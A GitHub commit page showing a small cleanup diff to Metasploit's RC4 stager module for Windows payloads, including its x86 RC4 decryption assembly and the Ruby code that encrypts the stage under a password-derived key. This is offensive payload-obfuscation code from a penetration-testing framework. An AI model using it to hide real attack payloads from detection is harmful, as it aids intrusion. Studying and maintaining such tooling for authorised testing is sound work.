Skip to content

Commit 00b18c8

Browse files
committed
Land rapid7#6917, Fix minor issues with the RC4 stager
2 parents a3d2cba + 8612eaa commit 00b18c8

File tree

1 file changed

+11
-27
lines changed
  • lib/msf/core/payload/windows

1 file changed

+11
-27
lines changed

lib/msf/core/payload/windows/rc4.rb

Lines changed: 11 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -9,23 +9,21 @@ module Msf
99
# RC4 decryption stub for Windows ARCH_X86 payloads
1010
#
1111
###
12-
1312
module Payload::Windows::Rc4
14-
1513
#
1614
# Register rc4 specific options
1715
#
1816
def initialize(*args)
1917
super
20-
register_options([ OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]) ], self.class)
18+
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
2119
end
2220

2321
#
2422
# Generate assembly code that decrypts RC4 shellcode in-place
2523
#
2624

2725
def asm_decrypt_rc4
28-
asm = %Q!
26+
%!
2927
;-----------------------------------------------------------------------------;
3028
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
3129
; Version: 1.0 (29 December 2012)
@@ -49,8 +47,8 @@ def asm_decrypt_rc4
4947
xor ebx, ebx ; Clear EBX (EAX is already cleared)
5048
permute:
5149
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
52-
mov edx, eax
53-
and dl, 0xF
50+
mov edx, eax
51+
and dl, 0xF
5452
add bl, [esi+edx]
5553
mov dl, [edi+eax] ; swap S[AL] and S[BL]
5654
xchg dl, [edi+ebx]
@@ -72,43 +70,29 @@ def asm_decrypt_rc4
7270
dec ecx ; reduce counter
7371
jnz decrypt ; until finished
7472
!
75-
asm
76-
end
77-
78-
def uuid_required_size
79-
# Start with the number of bytes required for the instructions
80-
space = 17
81-
82-
# a UUID is 16 bytes
83-
space += 16
84-
85-
space
8673
end
8774

88-
def generate_stage(opts={})
75+
def generate_stage(opts = {})
8976
p = super(opts)
90-
xorkey,rc4key = rc4_keys(datastore['RC4PASSWORD'])
77+
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
9178
c1 = OpenSSL::Cipher::Cipher.new('RC4')
9279
c1.decrypt
9380
c1.key = rc4key
9481
p = c1.update(p)
95-
return [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
82+
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
9683
end
9784

98-
def handle_intermediate_stage(conn, payload)
99-
return false
85+
def handle_intermediate_stage(_conn, _payload)
86+
false
10087
end
10188

102-
private
89+
private
10390

10491
def rc4_keys(rc4pass = '')
10592
m = OpenSSL::Digest.new('sha1')
10693
m.reset
10794
key = m.digest(rc4pass)
108-
[key[0,4], key[4,16]]
95+
[key[0, 4], key[4, 16]]
10996
end
110-
11197
end
112-
11398
end
114-

0 commit comments

Comments
 (0)